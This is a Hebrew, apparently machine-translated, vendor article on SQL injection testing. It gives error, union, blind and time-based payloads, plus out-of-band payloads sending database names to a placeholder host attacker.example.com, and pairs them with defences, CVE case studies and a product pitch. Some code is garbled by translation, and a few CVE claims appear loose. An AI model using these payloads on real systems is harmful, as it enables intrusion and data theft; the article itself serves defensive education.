בדיקת הזרקת SQL מתייחס לתהליך שיטתי של זיהוי, אימות והפחתת פגיעויות הזרקת SQL ביישומים המקיימים אינטראקציה עם מסדי נתונים יחסיים. למרות היותה אחת מפגיעויות האינטרנט הוותיקות ביותר, הזרקת SQL נותרה איום מדרגה ראשונה בשנת 2025 עקב קוד ישן, שימוש לא נכון ב-ORM, ארכיטקטורות מונחות API ונתיבי קוד שנוצרו על ידי בינה מלאכותית, המכניסים בשקט דפוסי שאילתות לא בטוחים. עבור מהנדסי אבטחה, בדיקת הזרקת SQL יעילה אינה עוסקת בניחוש המטען, אלא בהבנת הקשר הביצוע, התנהגות מסד הנתונים ותופעות הלוואי הנצפות בערימות מודרניות.
מה באמת מוכיח מבחן הזרקת SQL?
בדיקת הזרקת SQL נכונה מאשרת שלוש דברים, לא רק אחד:
- קלט הנשלט על ידי המשתמש מגיע למתורגמן SQL
- הקלט משנה את סמנטיקת השאילתה
- השינוי ניתן לצפייה, באופן ישיר (בתוך הפס) או עקיף (עיוור/מחוץ לפס)
אם אחד מהמרכיבים הללו חסר, הבדיקה אינה שלמה. זו הסיבה שבדיקות מודרניות משלבות SQLi בתוך הפס, SQLi עיוור, ו SQLi מחוץ לטווח במקום להסתמך רק על הודעות שגיאה.
רקע סמכותי:
- https://owasp.org/www-community/attacks/SQL_Injection
- https://portswigger.net/web-security/sql-injection

נקודות כניסה נפוצות לבדיקת הזרקת SQL בשנת 2025
כיסוי בדיקות הזרקת SQL חייב להתרחב מעבר לשדות הטופס הקלאסיים. הפרות אבטחה בעולם האמיתי נובעות יותר ויותר ממשטחים שלא נלקחים בחשבון:
- ממשקי API של JSON (
/חיפוש,/מסנן,/graphql) - כותרות HTTP (
סוכן משתמש,X-Forwarded-For) - ייבוא קבצים (CSV, XML, XLSX)
- משימות ברקע הצורכות נתוני משתמש
- בוני שאילתות בסיוע בינה מלאכותית
מהנדס אבטחה צריך להניח כל מחרוזת המשפיעה על קריאה למסד נתונים היא מועמדת.
טכניקות בדיקת הזרקת SQL לפי נראות
| סוג הטכניקה | אות נצפה | מקרה שימוש טיפוסי |
|---|---|---|
| SQLi מבוסס שגיאות | הודעת שגיאה בבסיס הנתונים | אפליקציות ישנות, גרסאות ניפוי באגים |
| SQLi מבוסס איחוד | נתונים שהוזנו בתגובה | דפי דוחות, ייצוא |
| SQLi עיוור מבוסס בוליאני | הבדלים בתגובות | מערכות ייצור מחוסמות |
| SQLi עיוור מבוסס זמן | עיכוב בתגובה | דיכוי שגיאות קפדני |
| SQLi מחוץ לטווח התדרים | חזרה DNS/HTTP | סביבות המותרות ליציאה |
סיווג זה חשוב מכיוון ש המגנים לעתים קרובות חוסמים סוג אחד של התקפות, אך לא אחרים..
דוגמה להתקפה 1: בדיקת הזרקת SQL מבוססת שגיאות
sql
' או 1=1--
הוזרק לשאילתה פגיעה:
sql
SELECT * FROM users WHERE username = '$input';
אם היישום מחזיר את כל המשתמשים או זורק שגיאת תחביר SQL, הבדיקה מאשרת את נגישות ההזרקה.
מדוע זה עדיין חשוב: SQLi מבוסס שגיאות מופיע לעתים קרובות בכלים פנימיים, לוחות בקרה וסביבות ביניים החשופים לאינטרנט.

דוגמה להתקפה 2: בדיקת הזרקת SQL מבוססת איחוד
sql
' UNION SELECT null, version(), current_database()--
משמש כאשר התגובה מציגה את פלט מסד הנתונים באופן ישיר.
מטרת הבדיקה: קבע את מספר העמודות ואת היתכנות חילוץ הנתונים.
הנדסה לקחת הביתה: SQLi מבוסס איחוד מצביע על יכולת קריאה מלאה ולעתים קרובות מוביל לפגיעה באמינות האישורים.
דוגמה להתקפה 3: בדיקת הזרקת SQL עיוורת מבוססת בוליאנית
sql
' AND 1=1-- ' AND 1=2--
אם התגובות שונות, התנאי נבדק על ידי מסד הנתונים.
טכניקה זו נשארת יעילה גם כאשר:
- שגיאות מודחקות
- התפוקה מטוהרת
- כללי WAF חוסמים מטענים ברורים
דוגמה להתקפה 4: בדיקת הזרקת SQL עיוורת מבוססת זמן
דוגמה ל-MySQL:
sql
' AND IF(1=1, SLEEP(5), 0)--
דוגמה ל-PostgreSQL:
sql
' AND CASE WHEN (1=1) THEN pg_sleep(5) ELSE NULL END--
מדוע מהנדסים דואגים: הזרקת SQL מבוססת זמן מוכיחה את יכולת הניצול גם ללא פלט גלוי.

דוגמה להתקפה 5: בדיקת הזרקת SQL מחוץ לטווח (מתקדמת)
sql
'; EXEC xp_dirtree '\\\\attacker.example.com\\test'--
או
sql
LOAD_FILE(CONCAT('\\\\\\\\', (SELECT database()), '.attacker.example.com\\\\a'))
אם בקשת DNS או SMB מגיעה לתוקף, בדיקת הזרקת SQL מצליחה מחוץ לתחום.
הפניה:
דוגמה להגנה 1: שאילתות פרמטריות (הדרך הנכונה)
פייתון
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(שם משתמש,)
)
זה מנטרל לחלוטין הזרקת SQL, ללא תלות במורכבות המטען.
דוגמה 2 להגנה: שימוש ב-ORM (עם אזהרות)
פייתון
User.objects.filter(username=username)
ORM מפחיתים את הסיכון — אך רק כאשר מפתחים נמנעים משאילתות גולמיות ואינטרפולציה של מחרוזות.
דוגמה 3 להגנה: חיזוק הרשאות מסד נתונים
sql
REVOKE ALL ON DATABASE appdb FROM app_user;GRANT SELECT, INSERT ON TABLE users TO app_user;
גם אם מתרחשת הזרקת SQL, רדיוס ההשפעה מצטמצם.
דוגמה 4 להגנה: לוגיקת זיהוי SQLi מבוססת זמן
פייתון
אם response_time > baseline + 3: alert("אפשרות להזרקת SQL מבוססת זמן")
לוגיקה זו משולבת לעתים קרובות בסורקי DAST מודרניים ובסורקים מבוססי בינה מלאכותית.
דוגמה 5 להגנה: בקרות רשת יוצאת
לנזוף
iptables -A OUTPUT -p tcp --dport 53 -j DROP
חסימת DNS יוצא מיותר יכולה הזרקת SQL מחוץ לטווח התדרים לגמרי.
אוטומציה של בדיקות הזרקת SQL לעומת המציאות
כלים אוטומטיים הם חיוניים אך לא מספיקים:
| כלי | כוח | הגבלה |
|---|---|---|
| sqlmap | עומק המטען | אין הקשר עסקי |
| סורק גיהוקים | כיסוי זרימת העבודה | שרשור עיוור מוגבל |
| פוזרים מותאמים אישית מבוססי בינה מלאכותית | מטענים אדפטיביים | דורש כוונון |
זו הסיבה לכך האימות הידני נותר קריטי לאחר זיהוי אוטומטי.
CVE שבהם בדיקות הזרקת SQL לא הצליחו לאתר בעיות בשלב מוקדם
- CVE-2023-34362 (MOVEit Transfer) – הזרקת SQL המובילה לגניבת נתונים המונית
- CVE-2022-22965 (שרשרת Spring4Shell) – נתיבי הזרקה באמצעות הערכת ביטוי
- CVE-2024-21683 – הזרקת SQL בצינורות ייצוא SaaS ארגוניים
בכל המקרים, עומק בדיקת הזרקת SQL לא מספק ניצול מותר בייצור.
השפעה בעולם האמיתי: מה באמת אפשרו CVE-ים אלה של הזרקת SQL
כאשר מהנדסים קוראים מזהי CVE ללא הקשר, קל להמעיט בערכם מבחינת ההשפעה התפעולית שלהם. ה-CVE הבאים הקשורים להזרקת SQL מדגימים כיצד בדיקות הזרקת SQL לא שלמות או שטחיות תורגמו ישירות לפגיעה בקנה מידה גדול, גניבת נתונים והתמדה לטווח ארוך.
CVE-2023-34362 (MOVEit Transfer): הזרקת SQL כמנוע להוצאת נתונים
CVE-2023-34362 לא הייתה "רק" פגיעות להזרקת SQL — היא הייתה פגיעה בפלטפורמת העברת קבצים מהימנה המשפיע על ממשלות, בנקים וחברות Fortune 500. הפגם בהזרקה איפשר לתוקפים לא מאומתים לבצע שאילתות SQL שרירותיות נגד מסד הנתונים האחורי של MOVEit.
הנזק האמיתי נגרם ממה שהזרקת SQL אפשרה לאחר מכן:
- גישה מלאה ל קבצים ומטא-נתונים מאוחסנים
- מיצוי של מפתחות הצפנה ונתוני הפעלה
- פריסת מעטפת אינטרנט (
human2.aspx) עבור התמדה - גניבת נתונים שקטה ללא הפרעה לזמינות השירות
הסיבה לכישלון בדיקת הזרקת SQL במקרה זה לא הייתה קשורה לכלים, אלא ל בדיקות מבוססות הנחות. בדיקות האבטחה התמקדו בתהליכי עבודה מאומתים ובנתיבים המונעים על ידי ממשק המשתמש, בעוד שהתוקפים כיוונו לנקודות קצה אחוריות שנועדו לאוטומציה ולהעברה המונית. בדיקת הזרקת SQL מבוססת זמן או מחוץ לתחום הייתה חושפת את הפגיעות הרבה לפני הניצול.
CVE-2022-22965 (שרשראות Spring4Shell): הזרקת SQL כנשק משני
בעוד CVE-2022-22965 זכור ברבים כפגיעות בהפעלת קוד מרחוק, אירועים בעולם האמיתי הראו שתוקפים שרשור הזרקת SQL לאחר גישה ראשונית כדי למקסם את ההשפעה.
ברגע שהתוקפים הצליחו לבצע את הקוד או לקבל גישה לתצורה, הזרקת SQL הפכה ל מכפיל לאחר ניצול:
- איסוף אישורי גישה למסד נתונים מתצורות יישומים
- מניפולציה ישירה של טבלאות הרשאות
- הרעלת נתונים שקטה ותקיפות שלמות
- התמדה לטווח ארוך באמצעות משימות מסד נתונים מתוזמנות
זה מדגיש אמת לא נעימה עבור המגינים: בדיקות הזרקת SQL לא חייבות להיעצר בגבולות האתר. API פנימיים, לוחות בקרה של מנהלים ושיחות בין שירותים הם לרוב פגיעים הרבה יותר מאשר נקודות קצה ציבוריות.
CVE-2024-21683: הזרקת SQL שקטה בצינורות ייצוא ארגוניים
CVE-2024-21683 השפיע על פלטפורמות ארגוניות שבהן הייתה הזרקת SQL. צינורות ייצוא נתונים ודיווח פנימיים, ולא בדפים המוצגים למשתמשים. תוקפים יכלו להזריק מטענים שנוצרו במהלך ייצוא מתוזמן, וכתוצאה מכך:
- גישה לא מורשית ל כל מערכי הנתונים של הדיירים
- דליפת נתונים בין דיירים בסביבות מרובות דיירים
- אין שגיאות או התראות נראות לעין במהלך השימוש הרגיל ביישום
סוג פגיעות זה מסוכן במיוחד מכיוון:
- אין תגובה אינטראקטיבית לבדיקה ידנית
- הניצול מתרחש באופן אסינכרוני
- כלי DAST מסורתיים לעיתים קרובות מפספסים אותו לחלוטין
רק בדיקות הזרקת SQL מבוססות זמן או מחוץ לתחום חשף את הפגיעות באופן מהימן. CVE זה הוא דוגמה קלאסית לכך שבדיקות הזרקת SQL מודרניות חייבות לכלול נתיבי ביצוע מושהים ועובדי רקע.
בדיקת הזרקת SQL בקוד שנוצר על ידי בינה מלאכותית
קוד אחורי שנוצר על ידי בינה מלאכותית לעתים קרובות:
- משתמש בשרשור מחרוזות כדי להגביר את המהירות
- משמיט קישור פרמטרים
- מניח קלט אמין
צוותי האבטחה חייבים להתייחס פלט AI כקוד לא מהימן והחל את אותה הקפדה בבדיקת הזרקת SQL.
היכן Penligent משתלב בבדיקות הזרקת SQL
בסביבות אמיתיות, בדיקות הזרקת SQL נכשלות לעתים קרובות מכיוון שהסורקים:
- נתיבי API עמוקים חסרים
- עצור לאחר האות השלילי הראשון
- אל תצרף תנאים עיוורים
Penligent משפר את בדיקות הזרקת SQL באמצעות:
- שימוש באבולוציה של מטען מונעת בינה מלאכותית
- קורלציה בין אותות מבוססי זמן ואותות מחוץ לתחום
- מיפוי זרימת הנתונים מהקלט ועד לביצוע השאילתה
- הפעלה בטוחה בתוך צינורות CI/CD
זה מאפשר זיהוי של נתיבי הזרקת SQL לא ברורים, ברמת ייצור שסורקי הדור הישן מפספסים.
מסקנה סופית עבור מהנדסי אבטחה
א בדיקת הזרקת SQL אינו מטען או כלי בודד — זהו תהליך אימות קפדני המוכיח שליטה בבסיס הנתונים באמצעות התנהגות נצפית. בשנת 2025, פגיעויות הזרקת SQL המסוכנות ביותר אינן בולטות או ברורות; הן שקטות, סמויות ומחוברות זו לזו בארכיטקטורות מודרניות.
מהנדסים הבודקים עבור התנהגות, תזמון ותופעות לוואי, ולא רק שגיאות, ימשיכו לתפוס את מה שתוקפים מנצלים.

